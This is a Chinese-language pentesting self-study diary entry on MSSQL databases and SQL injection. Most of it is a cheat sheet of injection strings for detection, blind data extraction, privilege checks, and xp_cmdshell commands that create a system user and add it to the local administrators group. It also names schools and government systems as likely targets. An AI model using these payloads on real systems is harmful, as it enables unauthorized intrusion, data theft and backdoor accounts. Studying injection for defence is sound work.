Re:从零开始的渗透测试废物自学日记(2021.1.13)

今日学习大纲:
mssql数据库的理解和注入(学习过程包含实战,因存在敏感信息,不外放)

容易存在注入的系统
学校
政府
oa
游戏
bc

mssql介绍
美国microsoft公司推出的一种关系型数据库系统。sql server是一个可扩展的、高性能的,为分布式客户机/服务器计算所涉及的数据库管理系统,实现了与windowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。
特点有:
(1)高性能设计,可充分利用windowsNT的优势
(2)系统管理先进,支持windows图形化管理工具,支持本地和远程的系统管理和配置
(3)强装的事务处理功能,采用各种方法保证数据的完整性。
(4)支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能、强大的管理工具、与Internet的紧密继承和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。

mssql服务、端口、后缀
重启服务,使其生效
命令:services.msc
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1433端口是开启的。当我们关闭服务后,端口也将关闭。
后缀:*.mdf
日志文件后缀:xxx_log.ldf

mssql数据库权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等(system)
db权限:文件管理,数据库操作等(users-administrators)
public权限:数据库操作(guest-users)

调用数据库代码
<%
set conn = server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
这个代码里面记录了数据库登录账号、密码,用户权限,数据库名称。
一般存在于conn.config/web.config/config等文件中
其中,provider后面的内容就是关键性数据,source后面可以是ip地址;sa是内置的用户,密码是在安装的视乎设置的,database后面跟的是要连接的数据库名称。

注入语句
1.判断是否有注入
and 1=1
and 1=2
'
"
2.判断数据库系统
and (select count() from sysobjects)>0 只有mssql数据库有sysobjects表,显示正常表示是mssql数据库,显示不正常则表示该数据库表示mssql
and (select count(
) from msysobjects)>0 access 同上
3.注入参数是字符
' and [查询条件] and " = '
4.搜索时没过滤参数的
' and [查询条件] and '%25' = '
5.猜表名数量
and (select Count() from [表名])>0
6.猜字段
and (select count(字段名) from 表名)>0
7.猜字段中记录的长度
and (select top 1 len(字段名) from 表名)>0
8.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
9.测试权限(mssql)
and 1=(select IS_SRVROLEMEMBER('sysadmin')); --
and 1=(select IS_SRVROLEMEMBER('serveradmin')); --
and 1=(select IS_SRVROLEMEMBER('setupadmin')); --
and 1=(select IS_SRVROLEMEMBER('securityadmin')); --
and 1=(select IS_SRVROLEMEMBER('diskadmin')); --
and 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
and 1=(select IS_SRVROLEMEMBER('db_owner')); --
10.添加mssql和系统的账户
exec master.dbo.sp_addlogin username; --
exec master.dbo.sp_password null,username,password; --
exec master.dbo.sp_addsrvrolemember sysadmin username; --
exec master.dbo.xp_cmdshell 'net user username password /workstations:
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
exec master.dbo.xp_cmdshell 'net user username password /add'; --
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

判断数据库版本情况
and 1=(select @@version)

基本信息搜集
1.注入点权限判断
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

原文地址:https://www.cnblogs.com/Xiaoming0/p/14274221.html